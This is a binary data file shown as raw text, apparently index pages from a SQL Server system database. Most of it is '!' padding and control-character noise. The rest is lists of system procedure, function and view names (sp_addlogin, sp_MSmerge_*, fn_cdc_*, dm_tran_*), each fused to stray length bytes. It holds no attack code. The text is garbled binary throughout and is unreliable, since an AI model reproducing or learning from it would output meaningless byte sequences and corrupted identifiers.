!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Jj.

Z
,
Df

F

		V	~8"Lh"8p(hZ&^`f4`"
eL"P\v)d&Hsp_add_log_shipping_alert_job&iVsp_add_log_shipping_primary_database&
YXsp_add_log_shipping_primary_secondary&5Zsp_add_log_shipping_secondary_database&Xsp_add_log_shipping_secondary_primary&_(sp_addapprole&t(sp_addarticle&W.*sp_adddatatype&us8sp_adddatatypemapping&$M4sp_adddistpublisher&~a6sp_adddistributiondb&7r0sp_adddistributor&".@sp_adddynamicsnapshot_job&Y2sp_addextendedproc&VJ:sp_addextendedproperty&BLsp_AddFunctionalUnitToComponent&'(K2sp_addlinkedserver&w6sp_addlinkedsrvlogin&tľ$sp_addlogin&o8sp_addlogreader_agent&Hsp_addmergealternatepublisher&D2sp_addmergearticle&E0sp_addmergefilter&_:sp_addmergepublication&$Psp_addmergepullsubscription_agent&Psp_addmergepushsubscription_agent&W%<sp_addmergesubscription&QVV(sp_addmessage&!0sp_addpublication&CBsp_addpublication_snapshot&]:sp_addpullsubscription&Fsp_addpullsubscription_agent&;Fsp_addpushsubscription_agent&NJ4sp_addqreader_agent&I6sp_addqueued_artinfo&0sp_addremotelogin&="sp_addrole&B.sp_addrolemember&.sp_addscriptexec&r&sp_addserver&4sp_addsrvrolemember&{5
.sp_addsubscriber&@sp_addsubscriber_schedule&Z2sp_addsubscription&V2sp_addsynctriggers&18sp_addtabletocontents&>"sp_addtype&$,sp_addumpdevice&a`"sp_adduser&TLsp_adjustpublisheridentityrange&,sp_altermessage&2sp_approlepassword& 8sp_article_validation&.sp_articlecolumn&91.sp_articlefilter&=*sp_articleview&k6sp_assemblies_rowset&rS>sp_assemblies_rowset_rmt&8sp_assemblies_rowset2&Lsp_assembly_dependencies_rowset&HTsp_assembly_dependencies_rowset_rmt&,Nsp_assembly_dependencies_rowset2&K&sp_attach_db&?>sp_attach_single_file_db&}Xs*sp_audit_write&=P&sp_autostats&eyZsp_availability_group_command_internal&/2sp_bcp_dbcmptlevel&ȳcHsp_begin_parallel_nested_tran&)t(sp_bindefault&J|$sp_bindrule&:sp_addsynctriggerscore&Ɣ6sp_addmergepartition&
`8sp_attachsubscription&Dsp_addmergepullsubscription&t:sp_addmergelogsettings!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^,bD
|
0
Z,h


t
B

		n	H		d0j(D,X~LT$X0V`
R"\!,T&+Zddm_resource_governor_resource_pool_affinity&Tdm_resource_governor_resource_pools&Vdm_resource_governor_workload_groups&Y:dm_server_audit_status&M:dm_server_memory_dumps&T2dm_server_registry&2dm_server_services&EBdm_sql_referenced_entities&
Ddm_sql_referencing_entities&]G:dm_tcp_listener_states&"Vhdm_tran_active_snapshot_database_transactions&46Ddm_tran_active_transactions&36dm_tran_commit_table&)>dm_tran_current_snapshot&Ddm_tran_current_transaction&P|Hdm_tran_database_transactions&V`1(dm_tran_locks&Fdm_tran_session_transactions&Jdm_tran_top_version_generators&_6Hdm_tran_transactions_snapshot&*W.dm_xe_map_values&c*dm_xe_packages&Ddm_xe_session_event_actions&Be6dm_xe_session_events&U-Fdm_xe_session_object_columns&C8dm_xe_session_targets&`n*dm_xe_sessions&SJevent_notification_event_types&u\{Lfilestream_tombstone_2073058421&x}Ffiletable_updates_2105058535&~V`:fn_builtin_permissions&a<fn_cdc_check_parameters&eN6fn_cdc_decrement_lsn&B#@fn_cdc_get_column_ordinal&N2fn_cdc_get_max_lsn&mW2fn_cdc_get_min_lsn&\2fn_cdc_hexstrtobin&
36fn_cdc_increment_lsn&1\0fn_cdc_is_bit_set&j:fn_cdc_map_lsn_to_time&kWBfn_check_object_signatures&
fn_dblog&1(fn_dump_dblog&iS	>fn_EnumCurrentPrincipals&ZV.fn_fIsColTracked&`0fn_get_audit_file&q9"fn_get_sql&195:fn_GetCurrentPrincipal& @@fn_GetRowsetIdFromRowDump&Tfn_hadr_backup_is_preferred_replica&c+0fn_helpcollations& P2fn_helpdatatypemap&Fu6fn_IsBitSetInBitmask&],fn_isrolemember&F<fn_listextendedproperty&F.fn_MapSchemaType&
.fn_MSdayasnumber&PFfn_MSgeneration_downloadonly&;Hfn_MSget_dynamic_filter_login&D2*fn_MSorbitmaps&gFfn_MSrepl_map_resolver_clsid&o&fn_MStestbit&>fn_MSvector_downloadonly&h@fn_MSxe_read_event_stream&p0fn_my_permissions&WFfn_numberOf1InBinaryAfterLoc&
?:fn_cdc_map_time_to_lsn&xT2fn_cColvEntries_80&v8dm_tran_version_store&
(dm_xe_objects&Y6dm_xe_object_columns&O@fn_cdc_has_column_changed&V5<fn_numberOf1InVarBinary&Nfiletable_system_defined_objects&"filetables&?4extended_properties&K"filegroups&bevents&c4event_notifications&|4extended_procedures&4endpoint_webmethods& endpoints!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l<R(

l
>

n>pN


l
*
			X	&	~B~0vD,xN
V~j j&nFn`T
WM"[t@wT&%h8sp_MSisreplmergeagent&yBsp_MSissnapshotitemapplied&cЯ$sp_MSkilldb&ӹ2sp_MSlock_auto_sub&L+Fsp_MSlock_distribution_agent&8sp_MSmakearticleprocs&U>sp_MSmakebatchinsertproc&jfDsp_MSmakeconflictinsertproc&Wi.sp_MSmakectsview&4sp_MSmakedeleteproc&W'4sp_MSmakeexpandproc&NZ4sp_MSmakeinsertproc&{mDsp_MSmakemetadataselectproc&T4sp_MSmakeselectproc&:sp_MSmakesystableviews&m4sp_MSmakeupdateproc&iTsp_MSmap_partitionid_to_generations&,sp_MSmarkreinit&/Bsp_MSmerge_alterschemaonly&<sp_MSmerge_altertrigger&6sp_MSmerge_alterview&>sp_MSmerge_ddldispatcher& :sp_MSmerge_getgencount&Dsp_MSmerge_getgencur_public&ELsp_MSmerge_is_snapshot_required&0<sp_MSmerge_parsegenlist&3Hsp_MSmerge_upgrade_subscriber&8sp_MSmergesubscribedb&]Fsp_MSmergeupdatelastsyncinfo&*p0Zsp_MSneedmergemetadataretentioncleanup&RBsp_MSNonSQLDDLForSchemaDDL&S.sp_MSobjectprivs&+Bsp_MSpeerapplytopologyinfo&5sp_MSpeerconflictdetection_statuscollection_applyresponse&~sp_MSpeerconflictdetection_statuscollection_sendresponse&
psp_MSpeerconflictdetection_topology_applyresponse&;,sp_MSpeerdbinfo&/8sp_MSpeersendresponse&#8@sp_MSpeersendtopologyinfo&E%\sp_MSpostapplyscript_forsubscriberprocs&64sp_MSprep_exclusive&+,4sp_MSprofile_in_use&$6sp_MSproxiedmetadata&!C@sp_MSproxiedmetadatabatch&uLsp_MSproxiedmetadatalightweight&l`>sp_MSpub_adjust_identity&b~<sp_MSpublication_access&q=<sp_MSpublicationcleanup&0sp_MSquerysubtype&Tsp_MSrecordsnapshotdeliveryprogress&Jsp_MSrefresh_publisher_idrange&Rsp_MSregenerate_mergetriggersprocs&IE@sp_MSregisterdynsnapseqno&@sp_MSregistersubscription&CNsp_MSreinit_failed_subscriptions&,sp_MSreinit_hub&t>sp_MSreinit_subscription&\sp_MSreinitoverlappingmergepublications&2oRsp_MSreleasedynamicsnapshotapplock&taPsp_MSreleasemakegenerationapplock&h8sp_MSquery_syncstates&<sp_MSmakedynsnapshotvws&
@sp_MSprepare_mergearticle&o @sp_MSpeertopeerfwdingexec&S̉:sp_MSpeerapplyresponse&44sp_MSpost_auto_proc&	V>*sp_MSlocktable&v%(sp_MSmatchkey&G2>sp_MSmakebatchupdateproc&eDsp_MSregistermergesnappubid&(f4sp_MSreenable_check&p*sp_MSNonSQLDDL&4sp_MSmakegeneration&_2sp_MSloginmappings&6sp_MSpublicationview&Α`sp_MSmerge_log_identity_range_allocations&u:sp_MSrefresh_anonymous!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!